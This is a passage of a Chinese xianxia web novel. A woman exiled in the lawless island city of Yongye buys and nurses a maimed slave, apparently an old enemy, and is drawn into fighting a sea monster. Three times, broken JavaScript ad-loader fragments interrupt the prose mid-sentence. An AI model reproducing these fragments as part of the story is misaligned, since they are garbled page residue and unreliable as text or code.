《小可怜竟是病娇大反派?!》 1. 永夜城初见 无垠之海,有岛孤悬,黑云压顶,昏暗惨淡。 岛屿之外浪涛澎湃,晦暗天际偶尔会掠过诡异的风暴,划出一片与世隔断的罪恶之城,名为永夜。 岛上地形崎岖不平,怪石嶙峋,中心之地稍稍平坦,穷凶极恶之徒被迫流放,汇集于此,建构出一座城池。 苍茫天地之间,少女的身形影影绰绰,没在狂风里,头巾遮住半张脸,只露出一双明亮而清澈的眼,提着小桶,踏过稀疏的植被,磕磕绊绊到了海边。 林见微额头上冒出细密的汗,将帽子放下,寒风一吹,顿时一个哆嗦,目光投向海面,海浪一阵一阵袭来,拍在礁石上,翻出白色的浪花。 小心确认过这附近没有海妖和海怪,她这才敢调动微薄的灵力,掐了个诀,开始捕捉水里的海货。 收获并不好。 这一片死寂之地,不仅是人嫌弃,连海鲜、植被都看不上。 提着木桶返回,寒风刮得更猛,目之所及,仅有的几株树木歪歪扭扭向上长着,摇摇晃晃,枝叶残破,惨白如枯骨,毫无生机。 地面是灰白色,覆盖着一层薄薄的,由海风中带来的细沙与枯枝败叶混合而成的灰烬,大雨一冲,便是裸.露的黑色岩石。 她是半年前来到这鸟不拉屎的地方的。 堪称天崩开局。 原主不仅身上什么都没有,修为全废,身受重伤,还发着低烧,估计就这么烧昏死了过去,跟个死了的乞丐一样躺在满是脏污的大街上,等她接手这躯体的时候,连记忆也没有。 不知道原主什么身份,什么名字,也不知道自己究竟在哪儿。 林见微愣是凭着求生本能,一路跟着找食物的人群走到海边。 没有灵力,捞不到海货,在这挤满恶徒的岛上也求不来施舍,但还好运气不错,饿狠了,眼急手快捡了两条被海水冲上来的小鱼。 顾不上生火,抱着鱼生啃,狼吞虎咽。 总算是暂时把命保住了。 后来才知道这儿的人能引天地灵气修炼,原主修为全废,但经脉未断,基础仍在,她也凭着模模糊糊的直觉尝试,磕磕绊绊地修炼起来。 而这孤悬海外的荒岛,岛上偏偏有城,名为永夜。 最初,是一群大奸大恶之人逃逸到此,躲避正道追杀,到后来,吸引了越来越多的恶徒,到而今,有些正道还会将门中心术不正,酿成大错的弟子逐出宗门,废了一身修为,然后流放到此任其自生自灭。 “轰隆——” 天上一道惊雷,云层汇集,黑压压一片,天幕低垂,碾压而来。 林见微提着木桶,加快脚步。 永夜城近在眼前。 城墙高砌,灰褐色的石头经过风吹日晒,表面已斑驳脱落,高高耸立,呜呜风声呼啸而过,更显诡异凄凉。 进入城中,街道狭窄而曲折,两旁的建筑由石头堆砌,外形奇形怪状,低矮且破败,空地上还能看到数个凌乱分布的棚子,四根铁柱撑起一大块隔水的厚重油布。 衣衫破烂的人躲在棚子下,或坐或躺,有些已经闭气。 林见微目光匆匆扫过,不做停留。 空气中弥散着一种难以言喻的臭味,那是腐烂的肉,汗味,和排泄物的气味,被风吹散了些,不一会儿又浓郁起来。 现在,还有一种大雨将至的气味,黏黏腻腻,带点咸。 “轰隆——” “噼,噼,哗啦——” 大雨落下。 差点被淋成落汤鸡,林见微踏进简陋的石屋,反手合上门,风雨被阻隔在外,室内一片晦暗,但也平静。 放下木桶,脱掉外袍,一身轻松,掐诀生火,动作熟练地处理好刚刚捡来的海货,简单对付了一顿晚餐。 半年前,她都不敢想自己会在这儿生活下来。 身无长物,与一大堆人挤在棚子里,忍受脏乱差的环境,原主又生得貌美,她更是提心吊胆,万分小心,生怕被人盯上。 还不忘拖着病体,凭感觉从零开始修炼,没有钱,也没有人可以相信,帮衬一把,为了活下去,也顾不上什么寄生虫,愣是啃了三个月的生海鲜。 如今修炼得马马虎虎,至少抓鱼、生火、存水、搬重物盖石头房子,这些基础的法诀都会了,也没有惹上不好惹的人,总算稍微稳定下来。 吃完饭。 林见微重新披上外袍,戴上帽子,遮住脸,打开门让外面的风吹进来,给屋里通风透气。 她没什么搞建筑的经验,连这房子也搭建得乱七八糟,只能说勉强不会倒,更没有考虑什么通风问题,后面好几次缝缝补补,才勉强像样。 连珠似的雨滴快速从房檐上滑落,密密麻麻织成一道道透明色水柱,地面上雨水冲刷,成片成片向低处流,沿着沟壑,汇集成一道道小河。 雨水朦胧处。 有三道身影冒着大雨从远处过来,林见微眯了眯眼,将他们认了出来。 这三个是永夜城里名声响当当的“人贩子”,专门买卖奴隶,也是“船公”,他们有渡船,可以跨越海妖横行的苍茫海波,将外面的奴隶卖进来,或者将这里的人卖出去。 “唉,王老三,这么大的雨,怎么还出货啊?” “就是就是,快进来坐坐,来这儿喝口热茶!” 接连两道吆喝声起,人贩子中为首的一人神色不耐,睨了他们一眼,大骂一声,“少给老子在这儿套近乎,想上船出去,三颗中品灵石,一颗也少不了!” 那石屋里的两人悻悻闭了嘴。 林见微百无聊赖,直到三人走近,她这才看清之前那人口中说的“货”在哪里,原来在地上。男人浑身上下几乎没有一块好皮肉的,不知已昏死过去多久,被绳子拽着拖行。 应是天河倾覆,人间万丈碧波。 那人脸朝上,容貌尽毁,长发凌乱,双手被缚,被绳子拽着微微向上伸,满身泥水,衣袍上隐隐可见血污,被水一泡,也看不真切了。 走在最后的人狠狠踩才他肚子上。 毫无反应。 “老三,这狗.日的不会死了吧?” 王老三闻言停下脚步,回头一看,一张狭长而瘦削的脸顿时显出狠厉之气,眸光凶狠,又重重踢上一脚,“他奶.奶的!晦气!” 他们乘渡船法器来往陆地与永夜城这么多次,海中妖兽忌惮于法器,不敢进犯,一向平安无事,今天倒真是见了鬼了,渡船法器被海妖攻击受损,他们身上也多多少少带了伤。 现在这人又要死不活,真是赔了夫人又折兵。 两人说话的声音隔着雨幕传进林见微耳中。 确认那人还吊着一口气,三个人贩子继续拖着他向 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 前走,大雨倾泻而下,大风刮得更猛,呜呜地将雨水一齐灌进屋里,木门摇晃,拍在石头墙壁上,啪啪作响。 眼看那三人要拖着男人就要离开。 林见微胸口憋着一口气,猛然起身,掐诀遮去雨水,直奔三人去。 “唉,等等,这货让我看看。” 王老三转过身上下打量她一番,狭长的眼形,瞳孔几乎与眼白融为一体,眸光阴恻恻,扫视一圈,让人不寒而栗。 林见微强打起精神,装模作样上前踢了男人一脚,眉头一蹙,一副嫌弃的样子,“要死不活的,这种货色也拖出来卖,买了也没用。” 说罢摆摆手,转身就想走。 “唉,等等!”另一人忙叫住她,“这人是伤得是重了些,但皮糙肉厚的,说不定养养还能好。” “呵。”林见微嗤笑一声,依旧压着嗓子,用男声道,“养养?这永夜城什么时候成医馆了?我可没闲钱养这么个死人。” “呵呵呵,你既然来问了,一口价,十个下品灵石,就当买回去吃肉。” “老子还没落魄道要吃白肉,别说那棚子里天天死人,白肉多的是。”林见微不再多言,径直离开。 王老三脸上陪着笑,眼里闪着精光,连上前拦住她去路,“七颗,不能再少了,我们兄弟仨来一趟也不容易,也不想这货砸在手里。” 林见微听到满意的价位,脸上依旧不耐,勉为其难道,“最多六颗下品灵石,我看看他的造化。” “行,六颗就六颗。”王老三一咬牙应下。 林见微付了灵石,接过绳子,也不再管三人,拖着男人缓缓回了自己的石屋。 大雨越下越猛。 林见微掐诀挡住了天上落下来的雨,却没挡住地面上溅起的雨滴,回到屋中时裤腿湿了一半,沉甸甸挂在小腿上,贴着皮肉,冰冷黏腻。 将人拽进屋里,半掩上门,隔开外面似有若无的视线。 林见微蹲下身仔细端详起来。 男人一张脸已经被划得稀巴烂,根本看不出原来的容貌,血淋淋的伤口被水泡得发白,肿胀起来,简直多看一眼都容易让人做噩梦。 一双手腕原本就有伤,被捆绑拖行后留下深可见骨的创口,衣衫破烂,随处可见血肉外翻,有些地方被磨损得只剩下骨头,两边锁骨下方有血洞,似乎曾被锁链贯穿、禁锢。 她看得仔细,眸光移动,忽然对上一双幽深的眸子。 “原来没死。”林见微嘟哝一句,抬手拍拍他的脸,“还能动吗?” 骤然看到一张熟悉的脸,常潮生眼一闭,彻底昏死过去。 “唉?”林见微抬手将人眼皮撑开,又晃了晃对方的脑袋,确认人是彻底没了意识才认命站起身,将人拽到火炉旁。 岛上草木稀疏,她收集这些柴火不容易,虽然也能用灵力烧火,但最多只能烤个海鲜,烧久了灵力便撑不住,修为不济。 点燃火,石屋内气温缓缓上升,天光已昏暗,火光闪烁跳动,照在人脸上,红白相间,血肉森森暴露在空气中。 林见微找来抹布和水桶,褪去伤者衣衫。 湿漉漉的布料粘在被泡肿的伤口上,一掀便能分开,将人翻面,背上全是拖行留下的创口,磨损的衣料碎屑和泥沙一起,混合在血淋淋的伤口中,林见微有点担心这人到底还能不能活。 2. 是昔日仇人 伤得最重的是双腿,似乎整块皮肉都被人扒了下来,骨头有断裂,关节处软趴趴的,一挪动就能听到咔嚓声,一时半会儿怕是别想站起来了。 清理干净伤口,能包扎的地方都包扎好,又给人换上干燥的衣裳,林见微站起身,抬手捶腰,长舒一口气,将换下的血衣随手扔到门外的雨幕中,没一会儿便被冲洗得干干净净。 天色已彻底暗下来。 无星无月。 屋内火光闪动,男人身上盖着薄被,睡在火堆旁,林见微靠着门边坐下,目光落在远处的虚空,潮意蔓延。 这人也是够惨的,比当初的自己还惨。 罢了,能不能救回来就看对方造化了。 …… 翌日。 云收雨歇。 林见微起了个大早,神清气爽,雨水洗刷干净弥散在城池里的臭味,海风一吹,带着清晨独有的丝丝凉意,昨夜修炼顺利,体内灵力恢复了些,心情更好了。 “哟,你也醒了?” “命这么硬?” “现在感觉如何?” 林见微抬步靠近,男人没吭声,一动不动,只一双眼睛黑洞洞地盯着她,没什么情绪,或者说,只有淡淡的死志。 荒芜又寂寥。 好像大风一吹,卷起满地黄沙,等沙尘散尽的时候,人也随着沙尘一起消散于天地之间。 只是身上干净又干燥,一双被废的双腿上盖着被子,虽然伤口依旧痛,却好像有什么东西将他拉着,无端生出些似有若无的羁绊。 “怎么不说话?”林见微蹲下身凑近,神色疑惑,“难道声带也坏了?” 说着,还伸手摸向他的脖子,对着男人突出的喉结捏了好几下,面上疑惑更甚,“好像没事吧?” “咳咳咳——”常潮生难受得剧烈咳嗽起来。 林见微连忙收回手,“看来是没事。” 士可杀不可辱,常潮生顺过气,双眸猩红,怒瞪向眼前装疯卖傻的女人,如今落于人手,反抗不得,不知对方计划着想要如何戏弄、报复自己。 他这一生,求全不得,受尽冷待和欺凌,从泥潭里爬出来,自以为能翻身报仇,到底来还是一场空,最后竟沦落至于此。 林见微面对一张容貌损毁度逼近百分百的脸,理所当然丝毫感受不到对方的怒气,还煞有介事道,“看不出来……你还挺高冷。” “我可告诉你,这儿是永夜城,我买了你,你就是我的奴隶了,日后我让你往东,你就不准往西,知道了吗?” “……” 她有意逗弄,掰过常潮生的脸与人对视,双眸含笑,“来,先叫声主.人来听听。” “咳咳——”噌一下气血上涌,常潮生呕出一口血,又昏死过去。 林见微一惊,手忙脚乱给人顺气,“哎哎哎——不至于吧?气性这么大?难怪混得这么惨。” 将人放平,确认身上包扎好的伤口没有崩裂,林见微提着木桶出去,随手附着一道法诀在门上,这才放心出城,沿着熟悉的路,往海边去抓海货。 以她如今的修炼进度,还没到能辟谷的时候,更何况还捡了一个病号回来。 昨夜大雨冲刷,地面上的泥土更薄,岩石裸.露在外,坑洼不平,积水遍地,汇集成无数小坑,猛烈的阳光一照,光芒刺眼。 到了海边。 海水蔚蓝,波光粼粼,由远及近的海浪拍打着岸边的礁石。 海中有海妖,凶悍暴虐,嗜杀成性,想安全地往来于永夜城和陆地,要么靠法器,要么靠自身过硬的实力。 林见微轻叹口气,可惜了,她既没有过硬的实力,也没有攒到足够的灵石,好让离开的人捎自己一趟。 忙碌一上午,今日运气似乎不错。 满载而归。 林见微用部分食物和手里攒下的灵石跟人换了些草药,知道用处不大,但聊胜于无。 带着东西回到石屋,推开门,男人已经醒了,斜斜靠在桌腿上,林见微把东西堆在桌上,也不看他,自顾自清理海鲜,架在火上烤,滋滋声冒出来,香味弥漫。 撒上盐,更是让人口舌生津。 “饿了吗?要不要来点?” 常潮生没动,依旧定定看着她。 “怎么了?你不饿吗?”林见微蹙眉,隐隐约约反应过来什么,“你一直看着我……难道……你认识我?” 常潮生默默垂下眸光,心中了然,也是,他如今变成这副人不人鬼不鬼的模样,半死不活,容貌尽毁,没被这昔日得罪过的人认出来也正常。 “怎么不说话?你叫什么?” 没听到答案,林见微也不恼,呼呼两下吹凉筷子上的牡蛎肉便直接怼到常潮生嘴边,“快吃吧,既然你连名字都不肯说,那以后就叫旺财吧。这名字一听就有福气。” 常潮生一时无言,嗅到鼻尖传来的香味,下意识想避开,一动,牵扯到身上的伤口,双唇因吃痛张开,林见微却趁机一下子将食物塞进他嘴里。 “好吃吧?真是便宜你了。” 鲜嫩的肉味在舌尖绽开,瞬间席卷过全部味蕾,常潮生一怔,只觉咽下的食物温温热热,顺着喉咙流进胃里,融融暖意似一簇星火般擦亮了一整个漆黑如深渊的夜幕。 林见微看人肯吃东西,忙把新烤好的牡蛎全部喂给他。 “唉,我告诉你,这生活啊……就没有过不去的坎……” “想当初我刚来这儿的时候,跟你一样惨!” “你看看我现在,还不是活蹦乱跳的。” 林见微一边给人投喂一边语重心长,“来旺财,再吃一口,吃饱了这伤才能好得快点……” 常潮生默默不再张口。 林见微见他吃得差不多了,也不强求,动手给自己烤了一条鱼。 解决完午饭,她打了一桶水,碾碎带回来草药,尝试给人换药,然后重新包扎伤口。 血淋淋的皮肉被拉扯,常潮生忍痛,一声不吭,额头上冒出细密的汗珠,左右反抗不了,只能任由她摆弄。 却在少女一举一动之间眸光游移,眼神幽深晦暗,带着审视,明明半年前还是恶毒跋扈,又嚣张愚蠢的货色……到如今,会转变这么大吗? 林见微给人脱完衣服,伸手就要去扒人裤子,常潮生神色一僵,脸上看不出端倪,但耳廓爆红,连忙抬手按住松松垮垮的裤腰带,语带羞愤,“你干什么!” “给你上药啊?”林见微不假思索,答得理所当然。 又眨眨眼,一脸了然于胸的揶揄神色,“这有什么,昨天给你换衣服的时候我哪儿没……”看过。 “住口!”常潮生气急败坏打断,“你,你简直!” 林见微忽然笑了,“我看你一副不想活的样子,连死都不怕,还怕 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这个?” “不用你上药!” “这可不行。”林见微将碾碎好的草药递给他,“你腿伤得最重,虽然这药只能治些皮外伤,但也比就这么烂着好。” “不过话说回来,谁这么变态,扒人皮就算了,还扒腿上的啊……”林见微自顾自嘟哝两句,好声好气哄他,“你自己上药,我背过身不看总行了吧?” 常潮生见她态度坚决,拗不过,只好应下。 林见微转身走到门口,靠着门框坐下,百无聊赖看天边流云缓缓飘动,常潮生勉强撑着桌腿坐起身,褪下裤子,一双血淋淋的腿暴露在空气中。 的确不会有人变态到扒人皮的时候只扒双腿,但一万二千三百一十一片鱼鳞,一刀一刀,痛比扒皮抽筋,剜心剔骨。 双腿的骨头都已碎裂,钻心刺骨的痛,却根本无法支撑他站起身,药草敷上,墨绿色的汁水混着血水向下流,他草草用干净的纱布缠好,穿上裤子,上半身的创口难以避免崩裂开。 “好了吗?”林见微等得无聊。 常潮生缄默不言,显然不想搭理她,径直闭上眼,浑身上下透露出一股生无可恋的气息。 林见微一回头就看到他将自己弄得这么狼狈,眉心狠狠一跳,手脚麻利地给人重新包扎好,穿上衣服,洗干净手上的血迹,扶着腰长舒一口气。 看他还是一副要死不活的样子,甚至还出言宽慰,“你这一身伤吧……也不用着急,等我再修炼修炼,说不能就能想起来治伤的法术了。” “……” 下午。 林见微又出去了一趟,直到日薄西山才回来。 推开门,一阵海盐味的风刮进屋里,常潮生静静躺在硬邦邦的石床上,听到响动就靠着墙坐起身,看她熟练地翻烤火食物。 做饭的时候被一双亮晶晶的眼睛盯着,林见微越看他越像之前家里养的小狗。 火光跳动,燃烧的柴火受了潮,湿润润的,火一烧,白烟滚滚,石屋的烟囱本就修得不好,这会儿更是灾难级现场,林见微被烟呛得难受,连忙把门打开散散味道。 “咳咳咳——” “你怎么样?” 常潮生已默默抬手捂住口鼻。 “没事,这破烟囱我都习惯了,你也习惯习惯……”林见微自顾自解释,忽然闻到一股糊味,连忙跑去抢救架在火上的烤鱼。 用筷子将烤鱼表面那一层黑乎乎的东西撇干净,林见微就这么递给常潮生,“来,旺财,别嫌弃,将就将就吃。” 他自知没有拒绝的余地,心一横,只能将那又苦又腥的烤鱼吃了。 …… 常潮生身上的伤比林见微预料中好得更快,像背上一些没有伤及骨头的皮肉伤,七八天后便大面积结痂,锁骨下方两个黑洞洞的伤口也长出新肉。 粉嫩的肉芽缓慢生长,痒得人难受。 只有双腿,骨头都被敲碎了,只能靠灵力医治,甚至不知道伤他的人用了什么奇奇怪怪的阴毒法术,至今连伤口都无法愈合。 腰部和胸口几道贯穿伤也时不时往外渗血,伤口流脓,林见微动手剔除腐肉后他高烧一场,昏睡了一整天,温度降下来后才算是撑了过来。 换好纱布。 林见微拍拍他的肩膀,颇为欣慰,“今日我给你换最后一次,你也算是苦尽甘来了。” 常潮生不置可否。 3. 生活破破烂烂 她继续安慰,“虽然腿上的伤愈合不了,但至少你日后脱.裤.子给自己换药的时候方便多了,不用担心上半身的伤口裂开。” “……” 说完,林见微不再管他,起身出门,到新用围栏圈出来的院子里照看自己刚刚播下没多久的种子。 岛上多雨水,存不下来什么泥土,她便自己找石料开凿打磨,做了好几个长方体容器,装上贫瘠的泥土,又撑起棚子挡雨,折腾了五六天才弄得像模像样。 常潮生看不见外面的情景,这些天只能听到接连不断的噪音。 入夜时。 两人吃过晚饭,林见微看着常潮生,神色悻悻,欲言又止。 “我说,旺财啊……昨晚上,我灵光乍现,好像,想起给人治伤的法术了……你看,你要不要试试?” 她心里也没底。 毕竟来这陌生的世界,什么都不知道,永夜城里又没有可相信的人,未免引人注意,节外生枝,她也几乎不与旁的人交流往来。 外城的人跟当初的她一样,吊着一条命半死不活,也不知道是犯了什么错,或者得罪了什么人,被放逐到此,身世凄惨,也善恶难辨,挤在这贫民窟;内城的人,更厉害,主动逃窜到此,用法器建起高楼,穷奢极欲,往来密谋,各个都是杀人不眨眼的狠角色。 她就连修炼,也是凭着这副躯体残存的本能。 能使出几个像模像样的术法,已经算是她悟性大爆发了! “试试?”常潮生脸上的创口虽已痊愈,但整张脸损毁得面目全非,已然不能见人,依旧都被布包裹起来,只留下眼、鼻、口和耳朵露在外面,“试吧。” “你……确定?”对方答应地这么坦荡,林见微反而怀疑起自己。 “嗯。” 常潮生心底并未多大波澜。 朝夕相处,他已确定林见微没有认出自己,对方声称曾意外失去记忆,忘却前尘,他不置可否。 甚至,可能眼前的林见微已经不是之前的林见微,夺舍?摄魂?或是什么别的术法,他修为尽毁,具体查探不出结果。 只是这人并未想害他,反而一直在救他。 “嘿嘿,那我可就动手了!生死自负,你要是死了可别来变成鬼来找我报仇。” “……” 林见微撸起袖子,咽了咽口水,阖上眼,口中念咒,抬起手,天地灵气仿佛聚拢于指尖,炉子里火光摇曳,莫名亮了几分。 掌心荧光乍现,双手结印全凭下意识的动作,在空中勾勒出微妙的环状,两掌相合,灵力震荡,汹涌没入常潮生双腿中。 绿白交织的光芒浅浅一层覆盖上创口,流进破碎的经脉,钻进碎裂的骨缝,常潮生咬紧牙关,眸光陡然一沉,这酥酥麻麻的瘙.痒感比剧痛更让他难以忍受。 林见微比常潮生这个病人都更紧张,眼睛都不敢眨一下。 渐渐地,猩红的伤口上缓缓冒出一道黑色的血污。 “唉,有用!我成功了!” “你腿伤一直好不了,好像是中毒了?” 灵力溃散,林见微沾湿帕子擦掉他腿上刚刚被逼出来的黑血,一收手,帕子离鼻子近了些,便闻到一股浓烈又刺鼻的臭味。 眉头一皱,她嫌弃地把帕子扔远了些,上下打量一番常潮生,“我说旺财,你被人贩子卖到这永夜城之前是不是得罪了什么人?居然还给你下毒?这是生怕你死不了啊。” 腿上的酥麻感淡去,常潮生终于找回些神智,旧事浮现于眼前,胸中一腔戾气,几乎压不住,语气冷然,“不用你治,你日后也不必再管我。” “哎,你这说的是什么话?”林见微一巴掌拍在他伤腿上,“虽然一时半会治不好,但慢慢来,好一点算一点,哪能随便算了?” “再说了,买你花了我六块灵石,这么些天,你只吃饭不干活,我连本钱都收不回来!哪能让你随便死了?” 林见微越说越气,又狠狠锤了他伤腿一下,饶是常潮生再能忍痛,也痛得一个哆嗦,神色不善瞪着她。 她讪讪一笑,收回手,“行了行了,别东想西想,趁我现在灵力还充足,再把腿上的毒给你逼出来些。” 如法炮制,反复几次,林见微实在灵力不济才收了手。 效果杯水车薪。 这一双腿近乎残废,祛除毒素后还需用灵力辅佐灵草灵药重塑破碎的骨头,简直是场浩大的工程。 将人抱上硬邦邦的石榻,林见微给他盖上被子,“好好休息,等你腿上的毒素少些,血止住了,我便去一趟内城,说不定能找人给你做一把轮椅。” “为什么。” “什么?” “为什么买下我。” “你说这个啊……”林见微眉眼一弯,笑着凑近,“那天,大雨倾盆,我观你骨骼惊奇,命中注定要遇到我这个贵人,就日行一善啦。” “放心吧,别多想,以我的实力,在这外城还不是横着走,绝对能养活你。” “你的实力……就是每日扮成男人出门去。” “话怎么能这么说!”林见微一撩肩上的头发,眸光流转,美不胜收,装模作样道,“财不外露的道理都不懂,以我这倾国倾城的姿色,出门在外自然要小心点。” 常潮生眉心一跳,闭上眼不想再搭理她。 夜色已深。 林见微加紧修炼。 只是永夜城荒僻,草木都凋敝,更别说天气灵气,那更是稀薄得不能再稀薄,修炼起来事倍功半。 常潮生终于看不下去,“你连聚灵阵都不会画吗?” “什么?”林见微一脸懵,“什么阵?” “……” 常潮生挪动了一下身子,“给我纸笔。” “哦,好好。”林见微忙将东西递上去。 这纸和笔还是她之前怕常潮生一人在屋子里闷着太无聊,于是去外面的市场里东淘西淘,买了些闲书,捎带着一起买了回来。 常潮生提笔快速在纸上画下一个阵法,寥寥几笔墨水未断,线条流畅,看得林见微这个天生手残党都想拍手叫好。 “拿去,用灵力照着这个图案画在地上。” “好,我试试。” 林见微一看纸上的图案头都大了,但也只能硬着头皮上,失败了一二三四五六次,画到天亮,灵力都用完了也只画出来个半成品。 常潮生两眼一黑,躺在床上一动不动,被子盖得规规矩矩,安详得跟死人一样,也不知道是困了还是被人气晕了。 等林见微做好早饭,他还闭着眼。 “唉,醒醒醒醒,我知道你没睡。” “……” “来,吃。” 常潮生接过烤鱼安静吃起来。 “没事儿。”林见微看了眼角落里的半成品法阵,尴尬摸摸鼻子,“生活破破烂 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 烂,就是因为充满了各种破烂事,放宽心,捡破烂捡习惯就好了,做大做强,破烂回收也前途无量啊。” “……” 常潮生开始怀疑是不是自己想多了。 按理来说,夺舍他人躯体的神魂应该非常厉害才对,先不说为什么会选一个修为被他废掉的人,就算夺了舍,也不会混到这种地步。 难道,她真的只是失忆了? 吃过饭,林见微简单收拾了一下屋子,实在不想碰地上的阵法图案,便到院子里照顾已经冒出嫩芽的蔬菜,巡视领土一般,这些种子还是她花了心思在城中交易市场里淘来的,决不能浪费。 三个月后。 用上了聚灵阵的林见微修炼速度大大提升,使用治疗法术更是手到擒来,给常潮生治腿便更勤快,本是一双血淋淋的腿,如今也慢慢结痂。 她觉得自己真是在这冷冰冰没有人情味的永夜城憋坏了,养着一个病号,看着人一点点好起来,居然还生出些莫名其妙的成就感。 偶尔,她也会使用法术给城中其他人治病,有时候换回来一些灵石,有时候是铜币金银,更不值钱的是一些海货食物,也算是省了她亲自跑到海边去捞鱼。 永夜城外城的环境依旧很差,连着好几天没有下雨,风也平缓,吹不散被高墙围困的腐臭味。 林见微抬头望天,正是午后,艳阳高挂,但温度却没有多高,想必外界已入秋,接连几日,半夜时分的气温都低得让人打哆嗦。 “身上都收拾干净些,我们要进内城了。” “不要惹事,里面的人我们都惹不起!” 带路的黑衣男人压低帽檐,站在内城城门口,将手里的入城费递给守门人,跟在他后面的人也一一上缴费用。 林见微不是第一次入内城。 上一次来这儿找人定做了一把轮椅,约好今天来取货。 踏进城门。 高高的城墙上垂挂下不少装饰品,全是人骨,风一吹,跟风铃一样叮叮咚咚相互敲击出沉钝但诡异的声响。 林见微目不斜视。 这里没有难耐的腐臭味,空气里久久不散的是淡淡的血腥气,店铺林立,随处可见人骨被摆成各种图案嵌在任何宽阔的墙面上做装饰品。 “啊——” “大人,大人我错了!” “啊——不,不要——” 凄厉的惨叫从暗巷传来,林见微脚步匆匆,压低帽檐,一张狰狞鬼面遮去容貌,悄无声息汇进往来如织的人群中。 踏进炼器店铺。 掌柜的还是那个干瘦的小老头,站在阴影里,半张脸让人看不清晰,只看到脸上皱纹堆叠,皮肤紧贴着骨骼,形容枯槁,眼窝深陷,眸中闪着阴狠狡黠的光,仿佛于暗中蛰伏的毒蛇。 看林见微走近,他终于抬起头,干枯如骨的手指敲击两下痕迹斑驳的木头柜台,唇角动了动,嗓音沙哑,“来做什么的?” “取轮椅,半个月前我付了定金。” 老头放下被盘得锃光瓦亮的算盘,转身进了内间推出一把轮椅。 林见微付完剩下的灵石,确认没有问题后便将轮椅收进之前从尸.体上扒下来的破烂储物袋中,转身匆匆离开。 直到身影消失在老头视线中,才感觉自己活了过来。 这内城,当真是各种牛鬼蛇神都有,只一个掌柜的修为都不知道比她如今高了多少,太危险了。 4. 猎杀海妖 盘算过没有别的想要买的东西,林见微顺着人流向外走,石板路面上猩红一片,还淌着不知道是哪个倒霉蛋的血,踏上去滑腻腻的,不一会儿便被脚印踩得褪了色。 回到石屋,林见微兴冲冲取出东西。 “旺财旺财!快!轮椅买回来了!”一边将轮椅摆正,林见微一边掀开被子将常潮生从石榻上薅起来,手中掐诀,借力将人扶正坐好。 动作麻利,推着人在屋里来回转圈。 常潮生头脑昏沉,被人摇得七荤八素,终于找回些神智。 “走,趁现在天色还早,我推你出去转转。”林见微取出外袍和斗篷裹在常潮生身上,又帮他将歪掉的面具扶正,这才打开门推着人出去。 院里横七竖八放了三个长方体石槽,各个都搭上了棚子,被林见微悉心照顾的蔬菜长势喜人,到如今入了秋,天气转凉,林见微没再补种别的蔬菜,有的位置便空了出来。 正是午后,日上中天。 阳光照在身上,常潮生眯了眯眼,虽然风有些大,可黑袍吸热,不一会儿身上便暖洋洋的,从头到脚,熨帖至极。 好像,这辈子没这个舒服过。 明明一身伤病。 抬起手,阳光漏过指缝,皮肤苍白,青筋毕现,林见微看他将手伸出来,忙抓着他的手重新塞进斗篷底下盖好,“病人少吹风。” “……” “带我去海边。” “啊?海边?”林见微挠头,“你去海边做什么?还挺远的……” “带我去。” “行行行,带你去。”林见微看时间还早,想着常潮生许久没有出过门,想必是憋坏了,小小满足他一下也无妨。 轮椅出了院子就不再方便,黑岩石路面崎岖不平,林见微看常潮生双手吃力,便一路用灵力帮衬,两人走走停停出了城,一路上引人瞩目。 靠近海岸。 海风扑面而来,乍一眼看去,一条蜿蜒曲折的银色绸带缀在黑色的岩石上,浪花翻涌,拍打在礁石上,轰隆声不绝于耳,浪花退去时,礁石露出海面,向天矗立,怪诞荒凉。 更远些,入眼是苍茫一片仿佛深渊的蓝,林见微紧了紧身上的袍子,身影绰绰,小心翼翼踏过乱石,探头探脑向海面处靠近。 眼看着常潮生不管不顾往前冲,她忙伸手拉住轮椅把手,“你等等等……不要命了,小心这附近有海妖海兽!” “前两日,有个来这儿捡牡蛎的小孩儿被海妖袭击,血溅当场,尸体还被拖进了海底。” “往前走,没事。”常潮生神色淡淡。 “真的假的?” “往前走。” 林见微虽然看不见他脸上的神情,但听他语气笃定,也信了八成,抬脚便放心朝海边去。 海浪冲上岩石,脚上一片濡湿,林见微深呼吸一口,咸咸的风带着潮气,灌进肺里,浑身轻松,她忍不住蹲下身拨弄起海水。 身前是万丈蔚蓝色深渊,身后是一片灰褐色岩壁,丛石茫茫,天边一片白,极致纯粹的色彩,将混沌天地截然分开。 倏然。 一道浪花袭来。 林见微并未在意,以为只是普普通通的海浪,但旋即,海水汹涌,更大的浪赶着前一阵浪花猛然朝岸上扑来,铺天盖地,遮去天光。 卧槽! 是海妖! 林见微快速转身,手中掐诀,身影一闪落到常潮生身边,抓着轮椅快速向内岸撤,坐在轮椅上的人却反手将她拽住,眼神一凛,落向涌来的浪花,“杀了它。” “什么?杀什么?” “去杀了海妖。” “谁?” “你。” “你让我去杀海妖?”林见微拔高音量,一脸见鬼的表情,这人自己想死就算了,怎么还有脸拉上她! “你能杀它。” “武器都没有,我能杀你……” 林见心里有一长串微脏话还没骂出口,巨浪陡然袭来,海面下传来一阵低沉而浑厚的轰鸣,她忙松开轮椅,双手合十,十指翻飞,快速结出法印,灵力铸成两面墙,夹呈锐角,借力将汹涌浪潮分散到两边。 潮水上涌,已经淹没了常潮生半截小腿。 动荡的海面上冒出两个巨大的犄角,海妖身形如鲸,周身却细细密密覆盖着青黑色鳞片,眼如灯笼,獠牙狰狞,一摆尾,浪潮搅动,张开血盆大口便猛然朝二人袭来。 心知在劫难逃,林见微一咬牙,调动起周身灵力,聚于掌心,十指结印,引来天地雷火,霎那间乌云汇集,海面上狂风乱作,电闪雷鸣。 未等海妖作乱,她抢占先机,闪身投入海浪之间,身影穿梭,平地生惊雷,一道一道听从她指挥一般精准落到庞然大物的要害之处。 “吼——” “呜——呜——” 海妖吃痛,怒吼出声,庞大的身躯在海面上翻腾,尾巴拍打海面,激起千重巨浪,林见微险险避开,小心周旋,引着战场远离海岸,雷电落于身侧,灵力消耗,隐隐有失控之势力。 常潮生端坐于轮椅上。 潮水一直向上涨,只差一步便能将他连人带椅一同卷进浪花中。 取出藏于胸口的匕首,对着手臂狠狠一划,鲜血如注,似断线的珠子一般快速没入浅蓝色水面,晕开鲜艳的血花。 鲛人,这一片海域的王。 